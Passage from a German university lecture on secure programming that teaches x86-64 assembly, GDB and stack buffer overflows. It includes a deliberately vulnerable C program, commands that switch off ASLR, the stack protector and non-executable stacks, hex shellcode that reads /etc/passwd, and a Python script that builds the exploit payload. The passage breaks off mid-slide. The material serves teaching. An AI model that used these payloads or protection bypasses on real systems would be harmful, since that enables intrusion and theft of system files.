• Keine Ergebnisse gefunden

Sichere Programmierung

N/A
N/A
Protected

Academic year: 2022

Aktie "Sichere Programmierung"

Copied!
37
0
0

Wird geladen.... (Jetzt Volltext ansehen)

Volltext

(1)

Sichere Programmierung

Lerneinheit 2: Buffer Overflows

Prof. Dr. Christoph Karg

Studiengang Informatik Hochschule Aalen

Wintersemester 2021/2022

15.11.2021

Einleitung

Einleitung

Diese Lerneinheit beschäftigt sich mit Buffer Overflows. Folgende Themen werden bearbeitet:

• Linux für die AMD/Intel 64-Bit Architektur

• Einführung in Assembler

• Debugging mit GDB

• Analyse von C Programmen

• Buffer Overflows

• Erstellen von Shellcode

(2)

64-Bit Linux für x86 Architektur

64-Bit Linux für die x86 Architektur

• Der Linux Kernel unterstützt seit der Version 2.6 64-Bit Prozessoren.

• Die 64-Bit Prozessorarchitektur wurde von AMD entwickelt (AMD64) und von Intel lizenziert.

• Eigenschaften eines 64-Bit Prozessors:

▷ Die Register des Prozessors haben eine Wortlänge von 64 Bit.

▷ Der Prozessor kann Hauptspeicher mit einer Größe von maximal 264 Byte adressieren.

• 64-Bit Prozessoren von AMD und Intel sind abwärtskompatibel zu ihren 32- und 16-Bit Vorgängern.

• Alle gängigen Linux Distributionen gibt es in einer 64-Bit Version.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 3 / 73

64-Bit Linux für x86 Architektur x86-64 Prozessoren

x86-64 Prozessoren

• x86-64 (x64 oder AMD64) ist die 64-Bit Version des Befehlssatzes für x86 Prozessoren.

• x86-64 ist vollständig abwärtskompatibel zu x86-32 und x86-16.

• Ein x86-64 Prozessor besitzt eine Vielzahl von Registern, die für diverse Aufgaben vorgesehen sind.

• Bei x86-64 Prozessoren handelt es sich um Complex Instruction Set Computer (CISC), die eine Vielzahl von

Maschinensprachebefehlen beherrschen.

• Intel stellt für seine Prozessoren und die zugehörige Plattform eine umfangreiche Dokumentation bereit [Int19].

(3)

64-Bit Linux für x86 Architektur x86-64 Prozessoren

Little-Endian Byte Order

• Intel Prozessoren verwenden zur Darstellung von Zahlen die Little-Endian Anordnung der Bytes.

• Bei Little-Endian steht das niederwertigste Byte einer Zahl am Anfang des der Zahl zugeordneten Byteblocks.

• Beispiel: Die Zahl 305419896 (0x12345678) wird beim Datentyp long (4 Byte) wie folgt im Speicher abgelegt:

0x78 0x56 0x34 0x12

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 5 / 73

64-Bit Linux für x86 Architektur x86-64 Prozessoren

Darstellung des Hauptspeichers

Byte 3 Byte 2 Byte 1 Byte 0

Kleinste Adresse Größste

Adresse

0 4 8 12 16 20 24

ByteOffset

31 24 23 16 15 8 7 0

Bit Offset

(4)

64-Bit Linux für x86 Architektur x86-64 Prozessoren

Fundamentale Datentypen

0 7

0

Byte

Word (2 Byte)

0 7 8 15

0 1

High Byte

Low Byte

Doubleword (4 Byte)

0 15

16 31

0 1

2 3

High Word Low Word

Quadword (8 Byte)

0 31

32 63

0 1

2 3

4 5

6 7

High Doubleword Low Doubleword

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 7 / 73

64-Bit Linux für x86 Architektur x86-64 Prozessoren

Register eines x86-64 Prozessors

Register zur Ausführung von Programmen:

• General-Purpose Register ⇝ Speicherung von Operanden und Zeigern

• Segment Register ⇝ Auswahl von Speichersegmenten

• EFLAGS Register ⇝ Abfrage des Status des ausgeführten Programms und Steuerung des Prozessors

• EIP Register ⇝ Register zur Speicherung der Adresse des nächsten auszuführenden Maschinensprachebefehls

Weitere Register:

• x87 FPU Register ⇝ Arbeit mit dem arithmetischen Coprozessor

• MMX und XMM Register ⇝ Register für parallele Verarbeitung von Ganz- und Fließkommazahlen

(5)

64-Bit Linux für x86 Architektur x86-64 Prozessoren

32-Bit General-Purpose Register

• Im 32-Bit Modus stehen die Register EAX, EBX, ECX, EDX, ESI, EDI, EBP und ESP zur Verfügung.

• Im 64-Bit Modus stehen die Register RAX, RBX, RCX, RDX, RSI, RDI, RBP, und RSP sowie R8 bis R15 zur Verfügung.

• In den Registern werden folgende Informationen gespeichert:

▷ Operanden für logische und arithmetische Operationen

▷ Operanden für die Berechnung von Speicheradressen

▷ Zeiger auf Speicheradressen

• Die Register kann man mit verschiedenen Wortlängen verwenden.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 9 / 73

64-Bit Linux für x86 Architektur x86-64 Prozessoren

Verwendungszweck der Register

• EAX ⇝ Akkumulator für Operanden und Ergebnisse von Berechnungen

• EBX ⇝ Zeiger auf Daten im DS Segment

• ECX ⇝ Zähler für Stringoperationen und Schleifen

• EDX ⇝ I/O Pointer

• ESI ⇝ Zeiger auf eine String Source

• EDI ⇝ Zeiger auf eine String Destination

• ESP ⇝ Stack Pointer

• EBP ⇝ Zeiger auf Daten im Stack (Analog für 64-Bit Register)

(6)

64-Bit Linux für x86 Architektur System V Application Binary Interface

System V Application Binary Interface

• Das System V Application Binary Interface (ABI) legt eine UNIX Systemschnittstelle für kompilierte Anwendungssoftware fest [San97a].

• Das AMD64 ABI ist eine Spezifikation für den Aufbau von Programmen für die AMD64 Architektur [Hub+13].

• Das AMD64 ABI ist eine Erweiterung/Anpassung des Intel386 ABI [San97b].

• Das ABI wurde für die Programmiersprache C erstellt.

• Es werden unter unterem folgende Punkte standardisiert:

▷ Nutzung der Register für Funktionsaufrufe

▷ Verwaltung des Stacks

▷ Schnittstelle zum Betriebssystem

▷ Aufbau der Objektdateien (ELF Format)

▷ Aufbau von Systembibliotheken

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 11 / 73

64-Bit Linux für x86 Architektur System V Application Binary Interface

Linux System Calls

• Bei einem Intel 64-Bit System nutzt man System-Calls, um auf Funktionen des Betriebssystems zuzugreifen.

• Ein System-Call wird mit dem Maschinenbefehl syscall ausgeführt.

• Die Nummer des auszuführenden System-Calls wird in im Register RAX gespeichert.

• Die Parameter eines System-Calls werden über die Register RDI, RSI, RDX, R8, R9 und R10 übergeben.

• Der Rückgabewert des System-Calls befindet sich im Register RAX.

• Im Linux Kernel sind die System-Calls standardisiert.

• Unter [Cha16] findet man eine Liste aller Systemfunktionen des Linux 64-Bit Kernels.

(7)

64-Bit Linux für x86 Architektur Speichermanagement

Speichermanagement

• Bei modernen Betriebssystemen kommt ein virtuelles Speichermanagement zum Einsatz.

• Jedem Prozess wird ein separater Speicherbereich zugewiesen, der aus Sicht des Prozesses aus einem zusammenhängenden Block besteht.

• Die Abbildung auf den physikalischen Speicher übernimmt das Betriebssystem.

• Der Adressraum eines Speicherbereichs wird aufgeteilt in:

▷ Text Segment ⇝ Speicherung des Programms

▷ Stack Segment ⇝ Speicherung von lokalen Variablen, Übergabeparametern und Rücksprungadressen

▷ Heap Segment ⇝ Dynamische Speicherverwaltung

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 13 / 73

64-Bit Linux für x86 Architektur Speichermanagement

Speicherlayout

0x00000000 0xffffffff

Text Segment

ReadOnly

Programmcode

Wachstum Heap Segment

Dynamische Speicherverwaltung

Wachstum Stack Segment

Lokale Variablen, Übergabeparameter, Rücksprungadressen

(8)

64-Bit Linux für x86 Architektur Speichermanagement

Aufbau eines Stack Frames

8Byte

Vorheriger Frame Rücksprungadresse rbp+ 8

Alter Wert von rbp rbp

Daten verschiedener Art (variable Größe) rbp8

rsp

Red Zone rsp128

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 15 / 73

64-Bit Linux für x86 Architektur Speichermanagement

Aufbau eines Stack Frames – Erläuterungen

• Der Stack wächst von der höchsten Adresse in Richtung der niederwertigsten Adresse.

• Der Stack wird zur Speicherung von Rücksprungadressen, Funktionsparametern und lokalen Variablen verwendet.

• Bei einem Funktionsaufruf wird ein Stack Frame auf den Stack gelegt. Beim Beenden der Funktion wird der Frame wieder entfernt.

• Die im RSP Register gespeicherte Höhe des Stacks muss ein Vielfaches von 16 sein.

• Unterhalb des aktuellen Stack Frames befindet sich die Red Zone. Dieser Speicherbereich ist für „interne Zwecke“ reserviert.

• Weitere Details findet man in [Hub+13].

(9)

Assemblersprache

Assemblersprache

• Assembler ist eine maschinennahe Programmiersprache, die direkt auf dem Befehlssatz eines Prozessors aufsetzt.

• Viele Compiler von höheren Programmiersprachen liefern Assemblercode als Zwischenprodukt.

• Bei Intel Prozessoren gibt es zwei Assembler Varianten:

▷ AT&T Notation ⇝ Einsatz im GNU Assembler

▷ Intel Notation ⇝ Einsatz bei NASM

• Die AT&T und die Intel Notation unterscheiden sich an diversen Stellen. Weitere Details findet man [Nar07].

• In dieser Lerneinheit wird die Intel Notation verwendet.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 17 / 73

Assemblersprache Hello World!

Assembler Programm „Hello World!“

1 section .data

2 HelloMsg: db 10,"Hello World!" ,10

3 HelloLen: equ $-HelloMsg

4

5 section .text

6 global _start

7

8 _start:

9 mov rax, 1

10 mov rdi, 1

11 mov rsi, HelloMsg

12 mov rdx, HelloLen

13 syscall

14

15 mov rax, 60

16 mov rdi, 0

17 syscall

(10)

Assemblersprache Hello World!

Aufbau des Assembler Programms

• Ein Assembler Programm besteht aus mehreren Abschnitten (Sections/Segmente).

• Der Abschnitt data enthält statische initialisierte Variablen.

• Der Abschnitt rodata enthält statische initialisierte Konstanten.

• Der Abschnitt text enthält das Programm.

• Der Abschnitt bss enthält statische nicht initialisierte Variablen.

• Neben den genannten existieren noch weitere Abschnitte.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 19 / 73

Assemblersprache Hello World!

Die Data Sektion

• Die Data Sektion enthält Datenblöcke, die mit den vorgegebenen Werten initialisiert werden.

• Die Data Sektion ist schreibbar, d.h., die Variablen können vom Programm geändert werden.

• Die Daten sind anhand ihres Typs initialisierbar:

▷ db ⇝ Folge von Bytes (String)

▷ dw ⇝ Folge von Wörtern (mit je 2 Byte)

▷ dd ⇝ Folge von Doppel-Wörtern (mit je 4 Byte)

• Fließkommazahlen werden automatisch in das passende Format konvertiert.

(11)

Assemblersprache Hello World!

Die Text Sektion

• Die Text Sektion enthält das Assemblerprogramm.

• Jede Zeile enthält einem Befehl mit zugehörigen Operanden.

• Eine Zeile kann mit einer Sprungmarke versehen werden.

• Kommentare beginnen mit einem Semikolon (;).

• In dieser Lerneinheit wird die Intel Notation verwendet.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 21 / 73

Assemblersprache Hello World!

Im Programm benutzte System-Calls

System-Call sys_write:

• Funktion: Schreiben von Daten in eine Datei.

• Parameter:

▷ RAX: 1 (Nummer des System-Calls)

▷ RDI: File Descriptor (1 ⇝ stdout)

▷ RSI: Zeiger auf die Daten

▷ RDX: Anzahl der zu schreibenden Bytes System-Call sys_exit:

• Funktion: Verlassen des Programms.

• Parameter:

▷ RAX: 60 (Nummer des System-Calls)

▷ RDI: Rückgabewert (Fehlercode)

(12)

Assemblersprache Hello World!

Übersetzen des Assembler Programms

Folgende Schritte sind zum Ausführen des Programms notwendig:

1. Assemblieren (inklusive Debugging Informationen):

> nasm -f elf64 -F dwarf -g hello64bit.asm

2. Linken:

> ld -o hello64bit hello64bit.o

3. Ausführen:

> ./ hello64bit

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 23 / 73

Assemblersprache Debugging mit GDB

Debugging mit GDB

• Der GNU Debugger (GDB) ist der Standard-Debugger des GNU Projekts.

• GDB ist ein kommandozeilenorientiertes Werkzeug.

• GDB wird als Backend in Entwicklungsumgebungen wie z.B.

Eclipse benutzt.

• GDB unterstützt das Debugging von höheren Programmiersprachen wie C, C++ und Fortran.

• Um Programme zu debuggen, sollte der entsprechende Quellkode mit Debugging Informationen übersetzt werden.

• Unter [SPS20] findet man umfangreiche Dokumentationen zu GDB, insbesondere das GDB Handbuch [SPS10].

• Das GDB Cheatsheet beinhaltet die wichtigsten GDB Befehle [Hai13].

(13)

Analyse von C Programmen

Analyse von C Programmen

• Die Programmiersprache C ist die bevorzugte Sprache zur Entwicklung von systemnahen Linux Anwendungen.

• Die C Standardbibliothek stellt eine Vielzahl von Funktionen zur Arbeit mit dem Betriebssystem zur Verfügung.

• Mit der GNU Compiler Collection (GCC) stehen leistungsfähige Werkzeuge für die Programmierung in C und C++ zur

Verfügung.

• GCC ist in jeder Linux Distribution enthalten.

• Darüber hinaus gibt es zahlreiche Werkzeuge, um C Programme und den zugehörigen Binärkode zu analysieren.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 25 / 73

Analyse von C Programmen

Ziel hinter Analyse

Ziel: Analyse der Codeerzeugung des GCC Compilers.

Zu klärende Fragen:

• Wie ist ein von GCC erzeugtes Programm prinzipiell aufgebaut?

• Wie werden lokale Variablen verarbeitet?

• Wie läuft ein Funktionsaufruf ab?

Werkzeuge:

• GCC

• GDB

• Objdump

(14)

Analyse von C Programmen Hello World

C Programm „Hello World!“

Code: helloworld.c

1 #include <stdio.h>

2

3 int main() {

4 printf("Hello World!");

5 return 0;

6 }

Übersetzen (mit Debug Infos):

$ gcc -g -c helloworld.c

$ gcc -o helloworld helloworld.o

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 27 / 73

Analyse von C Programmen Hello World

Analyse der Binärdatei

• Das Werkzeug objdump ist für die Analyse von Binärdateien vorgesehen.

• Aufruf:

objdump <option(s)> <file(s)>

• Nützliche Parameter:

▷ -d ⇝ Disassemblieren der ausführbaren Teile der Datei

▷ -D ⇝ Disassemblieren der kompletten Datei

▷ -M "intel" ⇝ Ausgabe von Assember in der Intel Notation

▷ -S ⇝ Quellkode mit Assemblerkode kombinieren

▷ -s ⇝ Inhalt aller Abschnitte der Datei ausgeben

▷ -j <section> ⇝ Anzeige des Abschnitts section

(15)

Analyse von C Programmen Hello World

Analyse von helloworld

Befehle:

$ objdump -s -j .rodata helloworld.o

$ objdump -d -M "intel" -S helloworld.o

$ objdump -S -M "intel" helloworld

$ gdb helloworld

Bemerkungen:

• In der Objektdatei fehlen die korrekten Adressen.

• Die printf-Funktionen wird durch einen Sprungbefehl betreten, der Code wird beim Linken adressiert.

• Im ausführbaren Programm ist zusätzlicher Code für die Nutzung der C-Bibliotheken enthalten.

• Die Ausführung von main() ist ein Funktionsaufruf, bei dem ein Stackframe erzeugt wird.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 29 / 73

Analyse von C Programmen Kommandozeilenparameter

Übergabe von Kommandozeilenparametern

Code: cmdline.c

1 #include <stdio.h>

2

3 int main( int argc, char *argv[] ) {

4

5 printf("&argc = %p\n", &argc);

6 printf("&argv = %p\n", &argv);

7

8 if( argc == 2 ) {

9 printf("argv [1] = %s\n", argv[1]);

10 }

11 else {

12 printf("Bitte ein Argument übergeben .\n");

13 }

14 }

(16)

Analyse von C Programmen Kommandozeilenparameter

Analyse von cmdline

Befehle:

$ objdump -s -j .rodata cmdline.o

$ objdump -d -M "intel" -S cmdline.o

$ objdump -d -M "intel" -S cmdline

$ gdb cmdline

Bemerkungen:

• Die Kommandozeilenparameter werden als ein Array von Strings übergeben.

• Die Daten befinden sich unten im Stack, unterhalb des ersten Stack Frames.

• Die Formatierungsstrings des Befehls printf befinden sich im .rodata Segment.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 31 / 73

Analyse von C Programmen Lokale Variablen

Lokale Variablen

Code: calc.c

1 #include <stdio.h>

2

3 int main() {

4 long a=4;

5 long b=9;

6 long c = 17*a + ((13-b)/2 * (5+a));

7

8 printf("a = %ld , b = %ld , c = %ld\n", a, b, c);

9 return 0;

10 }

(17)

Analyse von C Programmen Lokale Variablen

Analyse von calc

Befehle:

$ objdump -s -j .rodata calc.o

$ objdump -d -M "intel" -S calc.o

$ objdump -d -M "intel" -S calc

$ gdb calc

Bemerkungen:

• Die lokalen Variablen werden im aktuellen Stack Frame gespeichert.

• Der Compiler optimiert den arithmetischen Ausdruck.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 33 / 73

Analyse von C Programmen Funktionsaufrufe

Funktionsaufrufe

Code: functioncall.c

1 #include <stdio.h>

2

3 int f(int a, int b, int c, int d,

4 int e, int f, int g, int h)

5 {

6 int x = a + b + c + d;

7 int y = e + f + g + h;

8

9 return x+y;

10 }

11

12 int main() {

13 int z = f(1,2,3,4,5,6,7,8);

14

15 printf("z = %u\n", z);

16 return 0;

17 }

(18)

Analyse von C Programmen Funktionsaufrufe

Analyse von functioncall

Befehle:

> objdump -s -j .rodata functioncall.o

> objdump -d -M "intel" -S functioncall.o

> objdump -d -M "intel" -S functioncall

> gdb functioncall

Bemerkungen:

• Die ersten sechs Parameter der Funktion werden über die Register übergeben.

• Alle weiteren Parameter werden über den Stack übergeben.

• Das Ergebnis des Funktionsaufrufs wird über das RAX Register zurückgegeben.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 35 / 73

Buffer Overflows

Buffer Overflows

Ziel: Einschleusen und Ausführen von Schadcode über ein kompiliertes C-Programm.

Beobachtung:

• Wird ein C-Programm ausgeführt, dann befindet sich zu jedem Zeitpunkt der Ausführung mindestens ein Stack Frame auf dem Stack.

• Die in einem Stack Frame gespeicherte Rücksprungadresse befindet sich im Hauptspeicher hinter den lokalen Variablen.

Ansatz: Ausführen eines Buffer Overflows, d.h., Überschreiben der Rücksprungadresse durch Schreiben einer zu großen Datenmenge in eine lokale String Variable.

(19)

Buffer Overflows

Herangehensweise

1. Entwicklung eines geeigneten C-Programms

2. Deaktivierung der Sicherheitseinstellungen in Linux 3. Entwicklung eines einfachen Schadkodes

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 37 / 73

Buffer Overflows Entwicklung eines passenden C-Programms

Entwicklung eines passenden C-Programms

Vorgaben:

• Das Programm muss eine lokale String Variable besitzen.

• Das Programm muss eine Eingabe des Benutzers in die lokale Variable kopieren.

• Die Eingabe des Nutzers wird über die Kommandozeile übergeben.

Umsetzung: ⇝ hackme.c (siehe nächste Folie)

(20)

Buffer Overflows Entwicklung eines passenden C-Programms

Programm hackme.c

Code: hackme.c

1 #include <stdio.h>

2 #include <string.h>

3

4 void print(char* s) {

5 char buffer[200];

6

7 strcpy(buffer, s);

8 printf("Anfang von buffer: %p\n", buffer);

9 printf("Inhalt von buffer: %s\n", buffer);

10 }

11

12 int main(int argc, char **argv) {

13 if (argc == 2) {

14 print(argv[1]);

15 } else {

16 printf("Bitte ein Argument übergeben .\n");

17 }

18 return 0;

19 }

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 39 / 73

Buffer Overflows Entwicklung eines passenden C-Programms

Programm hackme.c (Forts.)

Übersetzen:

> gcc -g -o hackme hackme.c

Bemerkungen:

• Bei der Nutzung der strcpy Funktion wird nicht überprüft, ob die zu kopierenden Daten in den Buffer passen.

• Idee: Kopiere mehr Daten als der Buffer aufnehmen kann und analysiere die Auswirkungen.

• Die zu kopierenden Daten werden mit einem Python Skript erzeugt.

(21)

Buffer Overflows Entwicklung eines passenden C-Programms

Idee hinter dem Buffer Overflow

• Beim Aufruf der Funktion print() wird ein neuer Stack Frame angelegt.

• Im Stack Frame befindet sich der Speicher der lokalen Variable buffer unterhalb der Rücksprungadresse (siehe nächste Folie).

• Vor Ausführung des strcpy Befehls wird nicht überprüft, ob der zu kopierende String s eine Länge von höchstens 200 Byte hat.

• Durch einen zu langen String kann man die Rücksprungadresse überschreiben.

• Enthält dieser String ausführbaren Code und wird die

Rücksprungadresse passend überschrieben, dann wird dieser Code ausgeführt (siehe übernächste Folie).

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 41 / 73

Buffer Overflows Entwicklung eines passenden C-Programms

Idee hinter dem Buffer Overflow (Forts.)

8Byte

Rücksprungadresse rbp+ 8

Alter Wert vonrbp rbp

rbp8

rsp

Red Zone rsp128

buffer

&buffer

StackFramenachAufrufvonprint()

(22)

Buffer Overflows Entwicklung eines passenden C-Programms

Idee hinter dem Buffer Overflow (Forts.)

8Byte

Rücksprungadresse rbp+ 8

Alter Wert vonrbp rbp

rbp8

rsp

Red Zone rsp128

buffer

&buffer

StackFramenachAufrufvonprint()

&buffer

Shellcode

(mit passendem Padding)

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 43 / 73

Buffer Overflows Entwicklung eines passenden C-Programms

Skript printA.py

Code: printA.py

#! /usr/bin/env python3

import sys

default_size =200 if len(sys.argv)==2:

size=int(sys.argv [1]) if (size <0):

size=default_size else:

size=default_size print("A"*size)

(23)

Buffer Overflows Entwicklung eines passenden C-Programms

Ausführen des Skripts

Benutzung des Skripts:

> hackme `printA.py 200`

Alternativ:

> hackme $(printA.py 200)

Beobachtung:

• Die Adresse von buffer ändert sich mit jedem Aufruf.

• Dies ist ein Indiz, dass im Linux Kernel Address Space Layout Randomization (ASLR) aktiviert ist.

• ASLR ist eine Schutzfunktion gegen Exploits wie z.B. Buffer Overflows.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 45 / 73

Buffer Overflows Deaktivieren von Sicherheitsmechanismen

ASLR deaktivieren

• Der aktuelle Zustand der ASLR Konfiguration kann über die Datei /proc/sys/kernel/randomize_va_space

ausgelesen und geändert werden.

• Arten der Randomisierung:

▷ 0 ⇝ ASLR deaktiviert

▷ 1 ⇝ Moderate Randomisierung

▷ 2 ⇝ Komplette Randomisierung

• Befehl zum Deaktivieren von ASLR:

root > echo "0" > /proc/sys/kernel/ randomize_va_space

(24)

Buffer Overflows Deaktivieren von Sicherheitsmechanismen

Abschalten weiterer Sicherheitsmechanismen

• Der GCC Compiler baut diverse Sicherheitsfunktionen in das ausführbare Programm ein.

• Beispiele:

▷ Der Stack Protector erkennt Stack Smashing Attacken und bricht das Programm ab.

▷ Es wird die Ausführung von Code verhindert, der sich im Stack Segment befindet.

• Diese Sicherheitsfunktionen lassen sich zur Compiler-Optionen deaktivieren.

Befehl:

> gcc -g -fno -stack -protector -z execstack -o hackme hackme.c

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 47 / 73

Buffer Overflows Shellcode

Entwicklung des Shellcodes

• Ein Shellcode ist ein kleines Assembler Code Fragment.

• Ursprünglich wurde Shellcode verwendet, um eine Shell mit Root Zugriff zu starten.

• Ein Shellcode darf keine Null Bytes enthalten, da er als String übertragen wird.

• Da ein Shellcode „über Umwege“ ausgeführt wird, müssen die Daten geschickt bereitgestellt werden.

• Eine der ersten Anleitungen zur Erstellung von Shellcodes stammt von AlephOne [One96].

• Dieser Teil der Vorlesung basiert auf der Anleitung von Mr. Un1k0d3r [Un114].

(25)

Buffer Overflows Shellcode

Aufbau des Shellcodes

1 BITS 64

2 ; Author Mr. Un1k0d3r - RingZer0 Team

3 ; Read /etc/passwd Linux x86_64 Shellcode

4 ; Shellcode size 82 bytes

5

6 global _start

7

8 section .text

9

10 _start:

11 jmp _push_filename

12

13 _readfile:

14 ; syscall open file

15 pop rdi ; pop path value

16 ; NULL byte fix

17 xor byte [rdi + 11], 0x41

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 49 / 73

Buffer Overflows Shellcode

Aufbau des Shellcodes (Forts.)

19 xor rax,rax

20 add al,2

21 xor rsi,rsi ; set 0_RDONLY flag

22 syscall

23

24 ; syscall read file

25 sub sp,0xfff

26 lea rsi,[rsp]

27 mov rdi,rax

28 xor rdx,rdx

29 mov dx,0xfff ; size to read

30 xor rax,rax

31 syscall

(26)

Buffer Overflows Shellcode

Aufbau des Shellcodes (Forts.)

33 ; syscall write to stdout

34 xor rdi,rdi

35 add dil,1 ; set stdout fd = 1

36 mov rdx,rax

37 xor rax,rax

38 add al,1

39 syscall

40

41 ; syscall exit

42 xor rax,rax

43 add al,60

44 syscall

45

46 _push_filename:

47 call _readfile

48 path: db "/etc/passwdA"

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 51 / 73

Buffer Overflows Shellcode

Analyse des Shellcodes

• Der Shellcode gibt den Inhalt der Datei /etc/password aus.

• Der Code teilt sich in fünf Teile auf:

1. Berechnung der Adresse, ab der der Dateiname gespeichert ist (Zeilen 10–11, 46–48, 11)

2. Öffnen der Datei (Zeilen 14–22) 3. Auslesen der Datei (Zeilen 25–31) 4. Ausgabe der Datei (Zeilen 33–39)

5. Beenden des Programms (Zeilen 41–44)

• Es kommen mehrere System Calls zum Einsatz.

• Die Adresse des Datenblocks wird über den Stack (Rücksprungadresse) ermittelt.

(27)

Buffer Overflows Shellcode

Übersetzen des Shellcodes (Variante 1)

1. Assemblierung des Shellcodes:

> nasm -f elf64 un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.o

2. Extrahieren des Shellcodes und Ausgabe als String:

> for i in $(objdump -d un1k0d3r -shellcode.o \

| grep "^ " | cut -f2); do \ echo -n '\x'$i; done; echo

Hinweis: Nach dem Backslash muss <Enter> eingegeben

werden. Alternativ kann man den kompletten Befehl auch in eine Zeile schreiben.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 53 / 73

Buffer Overflows Shellcode

Übersetzen des Shellcodes (Variante 2)

1. Assemblierung des Shellcodes:

> nasm -f bin un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.bin

2. Ausgabe des Shellcodes:

> dumpshellcode.py un1k0d3r -shellcode.bin

Bemerkungen:

• Das Python Skript befindet sich auf der nächsten Folie.

• Bei dieser Variante liegt der Shellcode in binärer Form vor und kann auf verschiedene Arten weiter verarbeitet werden.

(28)

Buffer Overflows Shellcode

Skript dumpshellcode.py

#! /usr/bin/env python3

import sys

if len(sys.argv)!=2:

print("Usage:", sys.argv [0], "<filename >") sys.exit (1)

f=open(sys.argv [1], "rb") shellcode=bytearray(f.read ()) f.close ()

s=""

for b in shellcode:

s += "\\x{0:02x}".format(b) print(s)

print("\nShellcode length:", len(shellcode), "Byte")

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 55 / 73

Buffer Overflows Shellcode

Ergebnis

Shellcode:

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02

\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d

\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f

\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01

\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31

\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65

\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41 Länge: 82 Byte

(29)

Buffer Overflows Shellcode

Einbetten des Shellcodes

Probleme:

• Der Shellcode ist mit 82 Byte zu kurz, um einen Buffer Overflow für die lokale Variable buffer zu erzeugen.

• Der Shellcode enthält keine Sprungadresse und ist somit noch nicht einsetzbar.

Ansatz: Entwicklung eines Python Skripts, welches

• den Shellcode mittels Padding so verlängert, dass ein Buffer Overflow auftritt, und

• am Ende eine passende Rücksprungadresse anfügt, um den Shellcode zu starten.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 57 / 73

Buffer Overflows Shellcode

Skript un1k0d3r-payload.py

#! /usr/bin/env python3 import sys

import codecs import os

if len(sys.argv)==3:

address=codecs.decode(sys.argv [1], "hex") address=address [:: -1]

padding_size = int(sys.argv [2]) else:

print("Usage:", sys.argv [0], "address padding_size") sys.exit (1)

(30)

Buffer Overflows Shellcode

Skript un1k0d3r-payload.py (Forts.)

shellcode = b"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02"

shellcode += b"\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d"

shellcode += b"\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f"

shellcode += b"\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01"

shellcode += b"\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31"

shellcode += b"\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65"

shellcode += b"\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"

data = shellcode + b"A" * padding_size + address

# Write to file descriptor 1 ( stdout ) os.write(1,data)

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 59 / 73

Buffer Overflows Shellcode

Skript un1k0d3r-payload.py – Erläuterungen

• Das Padding besteht aus einer Folge von As.

• Die Länge des Paddings und die Rücksprungadresse wird über die Kommandozeile als Parameter übergeben.

• Die Adresse wird als hexadezimaler String übergeben und in das Little Endian Format konvertiert.

• Das Ergebnis wird auf der Konsole ausgegeben und kann direkt als Eingabe für andere Programme verwendet werden.

(31)

Buffer Overflows Shellcode

Berechnen der Länge des Paddings

• Die Länge des Paddings hängt ab von:

▷ Länge des Shellcodes

▷ Größe des zu überflutenden Buffers

▷ Anzahl und Position der lokalen Variablen im aktuellen Stack Frame

• Oft kann man die exakte Länge des Paddings nicht berechnen, da die benötigten Informationen nicht bekannt sind.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 61 / 73

Buffer Overflows Shellcode

Beispiel: Berechnung des Paddings für hackme

• Im 64-Bit Linux bestehen die Speicheradressen eines Prozesses aus 6 Byte.

• Unter Einsatz des GDB und des printA Skripts wird die Länge des Strings ermittelt, der die gespeicherte Rücksprungadresse im Stack Frame überschreibt. Die Länge ist 222 Byte.

• Die Länge des Paddings wird wie folgt berechnet:

